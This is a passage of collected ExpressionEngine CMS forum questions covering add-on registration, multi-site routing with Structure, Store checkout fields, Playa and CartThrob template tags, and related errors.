  'author_url'  => 'http://example.com/',
  'name'        => 'Ldap Plugin',
  'description' => 'Handles LDAP login / account creation',
  'version'     => '1.0.0',
  'namespace'   => 'Ldap_plugin\Ldap_plugin',
  'settings_exist' => TRUE
);

ext.ldap_plugin.php contains:

class Ldap_plugin_ext {
    var $settings       = array();
    var $name           = 'LDAP Plugin';
    var $version        = '1.0.0';
    var $description    = 'Handles LDAP login / account creation';
    var $settings_exist = 'y';
    var $docs_url       = '';
    var $debug          = TRUE;

    function __construct($settings='')
    {
        $this->EE =& get_instance();
        $this->settings = $settings;
    }

    function activate_extension ()
    {
        /*.....*/
    }

    function update_extension($current = '')
    {
        /*.....*/
    }

    function disable_extension()
    {
        /*.....*/
    }

    function settings()
    {
        /*.....*/
    }

    /* various hooks here*/
}

and yet, it will not show up in Developer / Add-On Manager for installation. I have other 3rd party add-ons that show up. I've removed them and renamed them and they properly respond, so I know the folder is being seen in the right place. I've checked file permissions on the above folders and they match the other add-ons.

I'm not seeing the issue here. Do Extensions get managed elsewhere? Is there something critical I'm missing that's required?

Thanks for the help.


texts: MSM Will only load sub-site homepage, everything else 404's?

texts:
I Have a MSM site setup, and am also using Structure.

The sub-site domains looks like: mymainsite.com/sub-site

The sub-site homepage loads just fine, but I cannot get to any pages after that - aka mymainsite.com/sub-site/anything gives me a 404.

I set up a template to try and see what's going on, and here's what I've found so far:

Entries from the Main Site seem to load fine.
Entries from the Sub Site 404
The site="" parameter does not seem to work with the structure nav tag.

Here's what I have for testing:

Site: {site_name}

Breadcrumbs: {exp:structure:breadcrumb}

This NAV: {exp:structure:nav site="sub_site"}

Main Site NAV: {exp:structure:nav site="main_site"}

Structure Page URL: {structure:page:url}

Structure Page URI: {structure:page:uri}

Structure Child IDs: {structure:child_ids}

Structure Entry ID: {structure:top:entry_id}

TEST Entries:

{exp:channel:entries site="sub_site"}

{title} - {page_url} - {entry_id}

{page_uri}

{/exp:channel:entries}

The output I get from http://mymainsite.com:

  Site: [Correct Site Name]
  Breadcrumbs: [BLANK]
  This NAV: [Correct, Nav for Main Site]
  Main Site NAV: [Correct]
  Structure Page URL: [BLANK]
  Structure Page URI: [BLANK]
  Structure Child IDs: [BLANK]
  Structure Entry ID: [BLANK]
  TEST Entries: [BLANK]

The output I get from http://mymainsite.com/sub-site:
(404 template)

  Site: [Correct Site Name]
  Breadcrumbs: Home > Here (home link is correct)
  This NAV: [Correct Nav for Sub Site, BUT WRONG URLs, do not have /sub-site segment]
  Main Site NAV: [WRONG - shows nav for Sub Site]
  Structure Page URL: [Correct]
  Structure Page URI: / (should be /sub-site ?)
  Structure Child IDs: [BLANK]
  Structure Entry ID: [BLANK]
  TEST Entries: Homepage (incorrect - url is to the main site's homepage)

The output I get from http://mymainsite.com/page:

  Site: [Correct Site Name]
  Breadcrumbs: [BLANK]
  This NAV: [Correct, Nav for Main Site]
  Main Site NAV: [Correct]
  Structure Page URL: [correct]
  Structure Page URI: [correct]
  Structure Child IDs: [BLANK]
  Structure Entry ID: [correct]
  TEST Entries: [BLANK]

The output I get from http://mymainsite.com/sub-site/page:
(404 template)

  Site: [WRONG - Main Site Name]
  Breadcrumbs: [BLANK]
  This NAV: [WRONG - Shows for Main Site]
  Main Site NAV: [Correct]
  Structure Page URL: [BLANK]
  Structure Page URI: [BLANK]
  Structure Child IDs: [BLANK]
  Structure Entry ID: [BLANK]
  TEST Entries: [Correct] - Lists all structure pages that exist under the Sub Site, correct {page_url} & {page_uri}, BUT the links all 404.

So the main issues I'm seeing is that the structure nav tag is not outputting the correct paths for the sub-site URLs as well. They're missing the /sub-site segment.

Any ideas what could possibly be going wrong here, or what I'm missing? I only have an htaccess file set up under the root, which contains:

<IfModule mod_rewrite.c>

    Options +FollowSymLinks
    RewriteEngine On
    RewriteBase /

    # Removes index.php from ExpressionEngine URLs
    RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]
    RewriteCond %{REQUEST_URI} !/system/.* [NC]
    RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]

    # Directs all EE web requests through the site index file
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule ^(.*)$ /index.php?/$1 [L,QSA]

</IfModule>

My directories are as follows:

Root -
    - Main Site (is in root)
    - images
    - skin
    - sub-site
    - sub-site
    - sub-site
System

Thanks for any insight!


texts: Expresso Store — multiple shipping addresses?

texts:
I know I can use different shipping and billing addresses for an order, which is stored by member purchasing but I wanted to see what was the best way to do the following:

Have one billing address, and be able to store multiple shipping addresses, being able to choose the one I want when I get to the checkout process in this part. A lot like an Amazon-type effort, bill all the time to the same person, ship to different stored addresses.

I am thinking this might be a plugin added to it, or if anyone has already done it, could you point me in the right direction?


texts:
If I am using playa to output the relationships from 2 fields:

{exp:playa:children field="employee_board_memberships|employee_investments"}
    ...
{/exp:playa:children}

Is there any way inside of the loop to identify which (or both) fields the entry is coming from?

{exp:playa:children field="employee_board_memberships|employee_investments"}
    {if from_employee_board_memberships}
        This was from the employee_board_memberships field
    {/if}

    {if from_employee_investments}
        This was from the employee_investments field
    {/if}
{/exp:playa:children}


texts: Using Channel entries with orderby="random" without repeating entry ids

texts:
I'm using EE for a basic assessment platform and the questions (entries) are presented to the user need to be in a random order from a fixed list so that the order of questions changes per user.

{exp:channel:entries entry_id="{embed:ids}" orderby="random" dynamic="no" limit="1"}

This simplified format refreshes the channel:entries loop and results in repeated questions.

How can I ensure that the entry_ids sent through the embed aren't repeated as the user paginates through the entries 1 by 1?

Thanks!


texts: var_prefix= not working as one would hope

texts:
OK revamped question: now it displays all the right stuff but it doesn't interact with the tabs and stacks them all in a static display. straight forward EE code works fine. Once i insert the prefix to get the last breakdown locations names however it does not

http://niwot.colorado.edu/index.php/location (straight forward EE code) (PS if you click on the pills some don't have placeholder text)

http://niwot.colorado.edu/index.php/location/test_location2 (with the prefix code but it repeats and doesn't interact with tabs. some how things are not set correctly. tried quite few variations with no success any suggestions?)

{exp:playa:children field="3rd_order_under" limit="25" sort="asc" var_prefix="thirdorder"}

                   {thirdorder:summary_3rd_order}

                   {thirdorder:exp:playa:children field="4th_order_under_3rd_order" sort="asc" var_prefix="fourthorder"}
                     {fourthorder:title}
                   {/thirdorder:exp:playa:children}

           {/exp:playa:children}

note: please see playa doc on children for reference


texts:
I have a page that allows registered users to post a entry on my site.

Since upgrading to the latest version of EE, I'm getting the following error, instead of the page loading:

Error Number: 1054

Unknown column 'date' in 'order clause'

SELECT DISTINCT exp_channel_titles.entry_id, exp_channel_titles.title FROM (exp_channel_titles) WHERE exp_channel_titles.channel_id IN ('5') AND exp_channel_titles.entry_date < 1369859305 AND (exp_channel_titles.expiration_date = 0 OR exp_channel_titles.expiration_date > 1369859305) ORDER BY date desc

Filename: modules/safecracker/libraries/safecracker_lib.php

Line Number: 2736


texts: Error on Content Entry Submit in EE: Control Panel Giving JSON Responses in the Browser

texts:
I am running into an odd issue when submitting content entry forms in the EE CMS. Whenever I submit a form I see this response in my browser:

I am not sure what is causing this issue but it seems like an error. Any ideas?

EE v2.7.2
Calendar
CartThrob Pro
CT Admin
Freeform
Structure
Wygwam
Matrix
Freebie
And a couple more smaller plug-ins and extensions.


texts: Default Matrix Rows Showing In Channel Form

texts:
Is there any way to use Matrix on the front end via a channel form and have 4 rows pre-populated for new entries.

Basically, we want to have a 'milestone' date area with one column with the milestone description and another column for the milestone date.

Each new job has a minimum of 4 milestones: Concept, Content, Files, Delivery. Hence, wanting to start with a default set of 4 rows for new entries.

Any advice would be greatly appreciated.


texts:
Old school knowledge needed:

The IP-based method of exempting GoogleBot from throttling (as detailed in the MIA EE wiki) no longer works - GoogleBot doesn't have a fixed IP range.

I need Google to be able to constantly and reliably index a news site, but would like to keep throttling active, to help deal with weak DOS nonsense.

Ideas?


texts: Low Title: unable to get custom field to output

texts:
I'm trying to get a custom field to output using Low Title on an EE5 site and I'm not able to get it working. I'm trying this:

{exp:low_title:entry entry_id="122" custom_field="{field_short_name}"}

Also this:

{exp:low_title:entry url_title="main" custom_field="{field_short_name}" channel="channel_name"}

...where "main" is the URL title of the entry I want. But I keep just getting the actual title of the entry instead of the custom field.

Any idea what I'm missing? When I set "show_error" to yes, I get an error that the custom field is not found.


texts: Cannot Format Date fieldtype in Channel Form

texts:
I've created a Date fieldtype in Channel Fields and want to display this date in a Channel Form without the time. For example, 5/19/14 8:19 AM, I only want to display: 5/19/14.

I thought the EE date format would address this but it does not. If I add to my field tag {my_date format="%m/%d/%y"} the tag is displayed in the form, indicating some error. On the other hand if I add this to the form {current_time format="%m/%d/%y"} the date is displayed as I want.

So does the EE date format only apply to system dates, or is there a way to format the date fieldtype I created?


texts: Exp:resso Store - Prevent updating mapped member fields from checkout

texts:
Is it possible to prevent Store from updating mapped fields during checkout unless an option to update is selected? Specifically billing and shipping addresses?

I'm using exp:user to allow a user to save a default billing and shipping address in their account. These are mapped to Store's order fields and everything works hunky-dory, except default behavior for Store is to update these details if they're changed during checkout (as detailed as a "remember my details" feature here: https://exp-resso.com/docs/store/settings_order_fields.html).

I would only like to update the mapped fields if an option in the checkout is checked. Something along the lines of an "update my default billing/shipping address" option.

Many thanks for any help.


texts: embed member information in another member's profile

texts:
I am using zoo visitor, safecracker and solspace user to enable a site member to act as an agent and register other client members to the site.
These new members are linked to the agent via a hidden text field that is filled during the registration process with the agent's member_id.

<input type="hidden" name="agent_id" id="agent_id" value="{exp:user:is_mine     member_id="{member_id}"}{member_id}{/exp:user:is_mine}">

I now need to show some of the agent's info in the client's template. (agent name and logo)
I'm sure I could use an embed of some sort but I'm not quite sure where to start!


texts: Change cart subtotal in cartthrob using hook

texts:
I've set up the cartthrob_pre_process hook to look something like this:

public function cartthrob_pre_process($data)
{
    $data['subtotal'] = 500.00;
}

It then goes to PayPal, which is the selected gateway. But when I get there it's showing the old price. Am I going about this the wrong way? Should I be using a different hook?